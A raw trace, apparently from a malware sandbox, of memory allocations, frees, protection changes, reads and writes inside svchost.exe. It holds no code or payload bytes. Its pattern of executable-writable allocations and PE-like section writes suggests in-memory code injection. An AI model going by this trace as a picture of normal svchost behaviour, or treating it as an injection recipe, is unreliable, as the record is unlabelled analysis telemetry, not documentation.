Allocate svchost.exe address = 1825832960, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 1825837056, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 35840 True 1
Fn
Allocate svchost.exe address = 1825873920, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 6656 True 1
Fn
Allocate svchost.exe address = 1825882112, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 3072 True 1
Fn
Allocate svchost.exe address = 1825886208, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 4084 True 1
Fn
Allocate svchost.exe address = 1825890304, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 512 True 1
Fn
Allocate svchost.exe address = 1825894400, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 3072 True 1
Fn
Allocate svchost.exe address = 1825898496, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 512 True 1
Fn
Allocate svchost.exe address = 1825902592, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 512 True 1
Fn
Allocate svchost.exe address = 1825906688, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1536 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 26 True 5
Fn
Allocate svchost.exe address = 1179648, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 3
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 14 True 4
Fn
Allocate svchost.exe address = 1179648, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 55
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 13 True 9
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 22 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 21 True 3
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 18 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 20 True 5
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 19 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 24 True 3
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 17 True 5
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 15 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 10 True 6
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 9 True 3
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 5
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 28 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 6 True 5
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 25 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 11 True 5
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 7 True 13
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 5 True 5
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 8 True 6
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 5 True 2
Fn
Allocate svchost.exe address = 6029312, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 132460 True 1
Fn
Allocate svchost.exe address = 2097152, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 128 True 1
Fn
Allocate svchost.exe address = 2293760, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 8 True 1
Fn
Allocate svchost.exe address = 6225920, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 44 True 2
Fn
Allocate svchost.exe address = 6029312, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 85256 True 1
Fn
Allocate svchost.exe address = 2097152, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 2293760, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 128 True 1
Fn
Allocate svchost.exe address = 6160384, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 8 True 1
Fn
Free svchost.exe address = 917504, free_type = MEM_RELEASE, size = 0 True 53
Fn
Free svchost.exe address = 131072, free_type = MEM_RELEASE, size = 0 True 59
Fn
Free svchost.exe address = 1376256, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 1310720, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 458752, free_type = MEM_RELEASE, size = 0 True 53
Fn
Free svchost.exe address = 131072, free_type = MEM_RELEASE, size = 0 True 58
Fn
Free svchost.exe address = 3473408, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 1048576, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 3538944, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 3604480, free_type = MEM_RELEASE, size = 0 False 1
Fn
Free svchost.exe address = 3473408, free_type = MEM_RELEASE, size = 0 False 1
Fn
Free svchost.exe address = 1048576, free_type = MEM_RELEASE, size = 0 False 1
Fn
Free svchost.exe address = 131072, free_type = MEM_RELEASE, size = 0 False 1
Fn
Free svchost.exe address = 917504, free_type = MEM_RELEASE, size = 0 True 203
Fn
Free svchost.exe address = 131072, free_type = MEM_RELEASE, size = 0 True 218
Fn
Free svchost.exe address = 2162688, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 6160384, free_type = MEM_RELEASE, size = 0 True 4
Fn
Free svchost.exe address = 6094848, free_type = MEM_RELEASE, size = 0 True 3
Fn
Free svchost.exe address = 6029312, free_type = MEM_RELEASE, size = 0 True 5
Fn
Free svchost.exe address = 2293760, free_type = MEM_RELEASE, size = 0 True 5
Fn
Free svchost.exe address = 2097152, free_type = MEM_RELEASE, size = 0 True 2
Fn
Free svchost.exe address = 917504, free_type = MEM_RELEASE, size = 0 True 127
Fn
Free svchost.exe address = 131072, free_type = MEM_RELEASE, size = 0 True 126
Fn
Free svchost.exe address = 4653056, free_type = MEM_RELEASE, size = 0 True 2
Fn
Free svchost.exe address = 5505024, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 5439488, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 5373952, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 3538944, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 458752, free_type = MEM_RELEASE, size = 0 True 59
Fn
Free svchost.exe address = 131072, free_type = MEM_RELEASE, size = 0 True 69
Fn
Free svchost.exe address = 2424832, free_type = MEM_RELEASE, size = 0 True 2
Fn
Free svchost.exe address = 4849664, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 4784128, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 4718592, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 786432, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 917504, free_type = MEM_RELEASE, size = 0 True 45
Fn
Free svchost.exe address = 131072, free_type = MEM_RELEASE, size = 0 True 48
Fn
Free svchost.exe address = 1310720, free_type = MEM_RELEASE, size = 0 True 2
Fn
Free svchost.exe address = 1835008, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 1769472, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 1703936, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 1245184, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 720896, free_type = MEM_RELEASE, size = 0 True 45
Fn
Free svchost.exe address = 131072, free_type = MEM_RELEASE, size = 0 True 46
Fn
Free svchost.exe address = 3538944, free_type = MEM_RELEASE, size = 0 True 2
Fn
Free svchost.exe address = 3407872, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 3473408, free_type = MEM_RELEASE, size = 0 True 2
Fn
Free svchost.exe address = 3604480, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 1179648, free_type = MEM_RELEASE, size = 0 True 94
Fn
Free svchost.exe address = 131072, free_type = MEM_RELEASE, size = 0 True 95
Fn
Free svchost.exe address = 5242880, free_type = MEM_RELEASE, size = 0 True 2
Fn
Free svchost.exe address = 5111808, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 5177344, free_type = MEM_RELEASE, size = 0 True 2
Fn
Free svchost.exe address = 5308416, free_type = MEM_RELEASE, size = 0 True 1
Fn
Free svchost.exe address = 6225920, free_type = MEM_RELEASE, size = 0 True 2
Fn
Protect svchost.exe address = 268435456, protection = PAGE_READONLY, size = 1024 True 1
Fn
Protect svchost.exe address = 268439552, protection = PAGE_EXECUTE_READ, size = 9984 True 1
Fn
Protect svchost.exe address = 268451840, protection = PAGE_READONLY, size = 3532 True 1
Fn
Protect svchost.exe address = 268455936, protection = PAGE_READWRITE, size = 1004 True 1
Fn
Protect svchost.exe address = 268460032, protection = PAGE_READONLY, size = 806 True 1
Fn
Protect svchost.exe address = 268435456, protection = PAGE_READONLY, size = 1024 True 1
Fn
Protect svchost.exe address = 268439552, protection = PAGE_EXECUTE_READ, size = 9984 True 1
Fn
Protect svchost.exe address = 268451840, protection = PAGE_READONLY, size = 3532 True 1
Fn
Protect svchost.exe address = 268455936, protection = PAGE_READWRITE, size = 1004 True 1
Fn
Protect svchost.exe address = 268460032, protection = PAGE_READONLY, size = 806 True 1
Fn
Protect svchost.exe address = 268435456, protection = PAGE_READONLY, size = 1024 True 1
Fn
Protect svchost.exe address = 268439552, protection = PAGE_EXECUTE_READ, size = 342901 True 1
Fn
Protect svchost.exe address = 268783616, protection = PAGE_READONLY, size = 80188 True 1
Fn
Protect svchost.exe address = 268865536, protection = PAGE_READWRITE, size = 165288 True 1
Fn
Protect svchost.exe address = 269033472, protection = PAGE_READONLY, size = 272 True 1
Fn
Protect svchost.exe address = 269037568, protection = PAGE_READONLY, size = 480 True 1
Fn
Protect svchost.exe address = 269041664, protection = PAGE_READONLY, size = 12216 True 1
Fn
Protect svchost.exe address = 268435456, protection = PAGE_READONLY, size = 1024 True 1
Fn
Protect svchost.exe address = 268439552, protection = PAGE_EXECUTE_READ, size = 822360 True 1
Fn
Protect svchost.exe address = 269262848, protection = PAGE_READONLY, size = 145694 True 1
Fn
Protect svchost.exe address = 269410304, protection = PAGE_READWRITE, size = 128664 True 1
Fn
Protect svchost.exe address = 269541376, protection = PAGE_READWRITE, size = 9 True 1
Fn
Protect svchost.exe address = 269545472, protection = PAGE_READONLY, size = 560 True 1
Fn
Protect svchost.exe address = 269549568, protection = PAGE_READONLY, size = 480 True 1
Fn
Protect svchost.exe address = 269553664, protection = PAGE_READONLY, size = 29528 True 1
Fn
Protect svchost.exe address = 268435456, protection = PAGE_READONLY, size = 1024 True 1
Fn
Protect svchost.exe address = 268439552, protection = PAGE_EXECUTE_READ, size = 9093 True 1
Fn
Protect svchost.exe address = 268451840, protection = PAGE_READONLY, size = 7024 True 1
Fn
Protect svchost.exe address = 268460032, protection = PAGE_READWRITE, size = 1036 True 1
Fn
Protect svchost.exe address = 268464128, protection = PAGE_READONLY, size = 732 True 1
Fn
Protect svchost.exe address = 268435456, protection = PAGE_READONLY, size = 1024 True 1
Fn
Protect svchost.exe address = 268439552, protection = PAGE_EXECUTE_READ, size = 10792 True 1
Fn
Protect svchost.exe address = 268451840, protection = PAGE_READONLY, size = 4368 True 1
Fn
Protect svchost.exe address = 268460032, protection = PAGE_READWRITE, size = 1036 True 1
Fn
Protect svchost.exe address = 268464128, protection = PAGE_READONLY, size = 1020 True 1
Fn
Protect svchost.exe address = 1825832960, protection = PAGE_READONLY, size = 1024 True 1
Fn
Protect svchost.exe address = 1825837056, protection = PAGE_EXECUTE_READ, size = 5544 True 1
Fn
Protect svchost.exe address = 1825845248, protection = PAGE_READWRITE, size = 64 True 1
Fn
Protect svchost.exe address = 1825849344, protection = PAGE_READONLY, size = 432 True 1
Fn
Protect svchost.exe address = 1825853440, protection = PAGE_READWRITE, size = 36 True 1
Fn
Protect svchost.exe address = 1825857536, protection = PAGE_READONLY, size = 170 True 1
Fn
Protect svchost.exe address = 1825861632, protection = PAGE_READWRITE, size = 1336 True 1
Fn
Protect svchost.exe address = 1825865728, protection = PAGE_READONLY, size = 296 True 1
Fn
Protect svchost.exe address = 1825832960, protection = PAGE_READONLY, size = 1024 True 1
Fn
Protect svchost.exe address = 1825837056, protection = PAGE_EXECUTE_READ, size = 35348 True 1
Fn
Protect svchost.exe address = 1825873920, protection = PAGE_READWRITE, size = 6596 True 1
Fn
Protect svchost.exe address = 1825882112, protection = PAGE_READONLY, size = 2812 True 1
Fn
Protect svchost.exe address = 1825886208, protection = PAGE_READWRITE, size = 4084 True 1
Fn
Protect svchost.exe address = 1825890304, protection = PAGE_READONLY, size = 170 True 1
Fn
Protect svchost.exe address = 1825894400, protection = PAGE_READWRITE, size = 2628 True 1
Fn
Protect svchost.exe address = 1825898496, protection = PAGE_READWRITE, size = 44 True 1
Fn
Protect svchost.exe address = 1825902592, protection = PAGE_READWRITE, size = 32 True 1
Fn
Protect svchost.exe address = 1825906688, protection = PAGE_READONLY, size = 1336 True 1
Fn
Read svchost.exe address = 2147348480, size = 16 True 1
Fn
Data
Read svchost.exe address = 6291456, size = 64 True 1
Fn
Data
Read svchost.exe address = 6291672, size = 248 True 1
Fn
Data
Read svchost.exe address = 393216, size = 112 True 119
Fn
Data
Read svchost.exe address = 917504, size = 1024 True 1
Fn
Data
Read svchost.exe address = 393216, size = 112 False 1
Fn
Read svchost.exe address = 2147340288, size = 16 True 1
Fn
Data
Read svchost.exe address = 6291456, size = 64 True 1
Fn
Data
Read svchost.exe address = 6291672, size = 248 True 1
Fn
Data
Read svchost.exe address = 393216, size = 112 True 120
Fn
Data
Read svchost.exe address = 458752, size = 1024 True 1
Fn
Data
Read svchost.exe address = 2147303424, size = 16 True 1
Fn
Data
Read svchost.exe address = 6291456, size = 64 True 1
Fn
Data
Read svchost.exe address = 6291672, size = 248 True 1
Fn
Data
Read svchost.exe address = 393216, size = 112 True 442
Fn
Data
Read svchost.exe address = 393268, size = 28 True 38
Fn
Data
Read svchost.exe address = 15595537, size = 127 True 1
Fn
Data
Read svchost.exe address = 15595588, size = 1023 True 1
Fn
Data
Read svchost.exe address = 15595372, size = 127 True 1
Fn
Data
Read svchost.exe address = 917504, size = 1024 True 2
Fn
Data
Read svchost.exe address = 268848156, size = 127 True 37
Fn
Data
Read svchost.exe address = 16318048, size = 1023 False 37
Fn
Read svchost.exe address = 16318008, size = 127 True 37
Fn
Data
Read svchost.exe address = 6029312, size = 128 True 3
Fn
Data
Read svchost.exe address = 2162688, size = 1024 True 1
Fn
Data
Read svchost.exe address = 6094852, size = 4 True 3
Fn
Data
Read svchost.exe address = 2424832, size = 1024 True 1
Fn
Data
Read svchost.exe address = 2359296, size = 1024 True 1
Fn
Data
Read svchost.exe address = 2147348480, size = 16 True 1
Fn
Data
Read svchost.exe address = 6291456, size = 64 True 1
Fn
Data
Read svchost.exe address = 6291672, size = 248 True 1
Fn
Data
Read svchost.exe address = 393216, size = 112 True 255
Fn
Data
Read svchost.exe address = 917504, size = 1024 True 1
Fn
Data
Read svchost.exe address = 5373952, size = 128 True 1
Fn
Data
Read svchost.exe address = 5308416, size = 1024 True 1
Fn
Data
Read svchost.exe address = 5439492, size = 4 True 1
Fn
Data
Read svchost.exe address = 393268, size = 28 True 20
Fn
Data
Read svchost.exe address = 24049638, size = 127 True 2
Fn
Data
Read svchost.exe address = 269384968, size = 1023 True 1
Fn
Data
Read svchost.exe address = 24049148, size = 127 True 4
Fn
Data
Read svchost.exe address = 24049632, size = 127 True 2
Fn
Data
Read svchost.exe address = 269385068, size = 1023 True 1
Fn
Data
Read svchost.exe address = 269385016, size = 1023 True 1
Fn
Data
Read svchost.exe address = 269385092, size = 1023 True 1
Fn
Data
Read svchost.exe address = 24442157, size = 127 True 1
Fn
Data
Read svchost.exe address = 24442403, size = 1023 True 1
Fn
Data
Read svchost.exe address = 24440860, size = 127 True 1
Fn
Data
Read svchost.exe address = 28178715, size = 127 True 1
Fn
Data
Read svchost.exe address = 28177444, size = 1023 True 1
Fn
Data
Read svchost.exe address = 28177400, size = 127 True 1
Fn
Data
Read svchost.exe address = 2147348480, size = 16 True 1
Fn
Data
Read svchost.exe address = 6291456, size = 64 True 1
Fn
Data
Read svchost.exe address = 6291672, size = 248 True 1
Fn
Data
Read svchost.exe address = 393216, size = 112 True 139
Fn
Data
Read svchost.exe address = 458752, size = 1024 True 1
Fn
Data
Read svchost.exe address = 4718592, size = 128 True 1
Fn
Data
Read svchost.exe address = 2490368, size = 1024 True 1
Fn
Data
Read svchost.exe address = 4784132, size = 4 True 1
Fn
Data
Read svchost.exe address = 28701247, size = 127 True 1
Fn
Data
Read svchost.exe address = 28701279, size = 1023 True 1
Fn
Data
Read svchost.exe address = 28699872, size = 127 True 4
Fn
Data
Read svchost.exe address = 28701241, size = 127 True 1
Fn
Data
Read svchost.exe address = 28701253, size = 1023 True 1
Fn
Data
Read svchost.exe address = 28701583, size = 127 True 1
Fn
Data
Read svchost.exe address = 28701548, size = 1023 True 1
Fn
Data
Read svchost.exe address = 28701235, size = 127 True 1
Fn
Data
Read svchost.exe address = 28701305, size = 1023 True 1
Fn
Data
Read svchost.exe address = 28702865, size = 127 True 1
Fn
Data
Read svchost.exe address = 28703111, size = 1023 True 1
Fn
Data
Read svchost.exe address = 28701568, size = 127 True 1
Fn
Data
Read svchost.exe address = 28309300, size = 127 True 1
Fn
Data
Read svchost.exe address = 3776592, size = 1023 True 1
Fn
Data
Read svchost.exe address = 28309028, size = 127 True 1
Fn
Data
Read svchost.exe address = 24049232, size = 127 True 1
Fn
Data
Read svchost.exe address = 3782224, size = 1023 True 1
Fn
Data
Read svchost.exe address = 24048948, size = 127 True 1
Fn
Data
Read svchost.exe address = 2147299328, size = 16 True 1
Fn
Data
Read svchost.exe address = 6291456, size = 64 True 1
Fn
Data
Read svchost.exe address = 6291672, size = 248 True 1
Fn
Data
Read svchost.exe address = 393216, size = 112 True 98
Fn
Data
Read svchost.exe address = 917504, size = 1024 True 1
Fn
Data
Read svchost.exe address = 1703936, size = 128 True 1
Fn
Data
Read svchost.exe address = 1376256, size = 1024 True 1
Fn
Data
Read svchost.exe address = 1769476, size = 4 True 1
Fn
Data
Read svchost.exe address = 393268, size = 28 True 2
Fn
Data
Read svchost.exe address = 268452188, size = 127 True 2
Fn
Data
Read svchost.exe address = 8059264, size = 1023 True 1
Fn
Data
Read svchost.exe address = 268454376, size = 127 True 2
Fn
Data
Read svchost.exe address = 268454388, size = 1023 True 1
Fn
Data
Read svchost.exe address = 2147348480, size = 16 True 1
Fn
Data
Read svchost.exe address = 6291456, size = 64 True 1
Fn
Data
Read svchost.exe address = 6291672, size = 248 True 1
Fn
Data
Read svchost.exe address = 655360, size = 112 True 92
Fn
Data
Read svchost.exe address = 3407872, size = 1024 True 2
Fn
Data
Read svchost.exe address = 3473408, size = 128 True 1
Fn
Data
Read svchost.exe address = 3538948, size = 4 True 1
Fn
Data
Read svchost.exe address = 24050369, size = 127 True 1
Fn
Data
Read svchost.exe address = 24050321, size = 1023 True 1
Fn
Data
Read svchost.exe address = 24049588, size = 127 True 3
Fn
Data
Read svchost.exe address = 24050374, size = 127 True 1
Fn
Data
Read svchost.exe address = 24050166, size = 1023 True 1
Fn
Data
Read svchost.exe address = 24050364, size = 127 True 1
Fn
Data
Read svchost.exe address = 24050135, size = 1023 True 1
Fn
Data
Read svchost.exe address = 24050131, size = 127 True 1
Fn
Data
Read svchost.exe address = 24050235, size = 1023 True 1
Fn
Data
Read svchost.exe address = 24048344, size = 127 True 1
Fn
Data
Read svchost.exe address = 24050291, size = 127 True 1
Fn
Data
Read svchost.exe address = 24050318, size = 1023 True 1
Fn
Data
Read svchost.exe address = 24050112, size = 127 True 2
Fn
Data
Read svchost.exe address = 24050285, size = 127 True 1
Fn
Data
Read svchost.exe address = 24050314, size = 1023 True 1
Fn
Data
Read svchost.exe address = 24050108, size = 127 True 1
Fn
Data
Read svchost.exe address = 24050290, size = 127 True 1
Fn
Data
Read svchost.exe address = 24050317, size = 1023 True 1
Fn
Data
Read svchost.exe address = 2147299328, size = 16 True 1
Fn
Data
Read svchost.exe address = 6291456, size = 64 True 1
Fn
Data
Read svchost.exe address = 6291672, size = 248 True 1
Fn
Data
Read svchost.exe address = 393216, size = 112 True 154
Fn
Data
Read svchost.exe address = 5111808, size = 1024 True 2
Fn
Data
Read svchost.exe address = 5177344, size = 128 True 1
Fn
Data
Read svchost.exe address = 5242884, size = 4 True 1
Fn
Data
Read svchost.exe address = 2097152, size = 128 True 1
Fn
Data
Read svchost.exe address = 2293764, size = 4 True 1
Fn
Data
Read svchost.exe address = 2293760, size = 128 True 1
Fn
Data
Read svchost.exe address = 2097152, size = 1024 True 1
Fn
Data
Read svchost.exe address = 6160388, size = 4 True 1
Fn
Data
Read svchost.exe address = 393268, size = 28 True 2
Fn
Data
Read svchost.exe address = 268452748, size = 127 True 2
Fn
Data
Read svchost.exe address = 24180476, size = 1023 True 1
Fn
Data
Read svchost.exe address = 268456544, size = 127 True 2
Fn
Data
Read svchost.exe address = 268456556, size = 1023 True 1
Fn
Data
Write svchost.exe address = 0x50000, size = 367 True 1
Fn
Data
Write svchost.exe address = 0x60000, size = 112 True 61
Fn
Data
Write svchost.exe address = 0x602104, size = 12 True 1
Fn
Data
Write svchost.exe address = 0x10000000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x10001000, size = 10240 True 2
Fn
Data
Write svchost.exe address = 0x10004000, size = 3584 True 2
Fn
Data
Write svchost.exe address = 0x10005000, size = 1004 True 1
Fn
Data
Write svchost.exe address = 0x10005000, size = 512 True 1
Fn
Data
Write svchost.exe address = 0x10006000, size = 1024 True 2
Fn
Data
Write svchost.exe address = 0x20000, size = 26 True 4
Fn
Data
Write svchost.exe address = 0xe0000, size = 12 True 7
Fn
Data
Write svchost.exe address = 0x20000, size = 17 True 7
Fn
Data
Write svchost.exe address = 0xe0000, size = 16 True 45
Fn
Data
Write svchost.exe address = 0x10004018, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 14 True 3
Fn
Data
Write svchost.exe address = 0x1000401c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 15 True 4
Fn
Data
Write svchost.exe address = 0x10004020, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 20 True 6
Fn
Data
Write svchost.exe address = 0x10004024, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 9 True 2
Fn
Data
Write svchost.exe address = 0x10004028, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000402c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 12 True 5
Fn
Data
Write svchost.exe address = 0x10004030, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 10 True 2
Fn
Data
Write svchost.exe address = 0x10004034, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004038, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000403c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 25 True 1
Fn
Data
Write svchost.exe address = 0x10004040, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 18 True 2
Fn
Data
Write svchost.exe address = 0x10004044, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004048, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 24 True 4
Fn
Data
Write svchost.exe address = 0x1000404c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004050, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 19 True 2
Fn
Data
Write svchost.exe address = 0x10004054, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 13 True 4
Fn
Data
Write svchost.exe address = 0x10004058, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000405c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 27 True 1
Fn
Data
Write svchost.exe address = 0x10004060, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 6 True 1
Fn
Data
Write svchost.exe address = 0x10004064, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004068, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 28 True 1
Fn
Data
Write svchost.exe address = 0x1000406c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004000, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004004, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004008, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000400c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004010, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 21 True 2
Fn
Data
Write svchost.exe address = 0x100040c8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040cc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040d0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040d4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040d8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 16 True 4
Fn
Data
Write svchost.exe address = 0x10004080, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004084, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004088, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000408c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 22 True 1
Fn
Data
Write svchost.exe address = 0x1000409c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040a0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 11 True 1
Fn
Data
Write svchost.exe address = 0x100040a4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040a8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 5 True 1
Fn
Data
Write svchost.exe address = 0x100040ac, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 7 True 1
Fn
Data
Write svchost.exe address = 0x100040b0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040b4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040b8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040bc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040c0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004094, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004074, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004078, size = 4 True 1
Fn
Data
Write svchost.exe address = 0xe0000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x140000, size = 388 True 1
Fn
Data
Write svchost.exe address = 0x150000, size = 40 True 1
Fn
Data
Write svchost.exe address = 0x50000, size = 367 True 1
Fn
Data
Write svchost.exe address = 0x60000, size = 112 True 62
Fn
Data
Write svchost.exe address = 0x602104, size = 12 True 1
Fn
Data
Write svchost.exe address = 0x10000000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x10001000, size = 10240 True 2
Fn
Data
Write svchost.exe address = 0x10004000, size = 3584 True 2
Fn
Data
Write svchost.exe address = 0x10005000, size = 1004 True 1
Fn
Data
Write svchost.exe address = 0x10005000, size = 512 True 1
Fn
Data
Write svchost.exe address = 0x10006000, size = 1024 True 2
Fn
Data
Write svchost.exe address = 0x20000, size = 26 True 4
Fn
Data
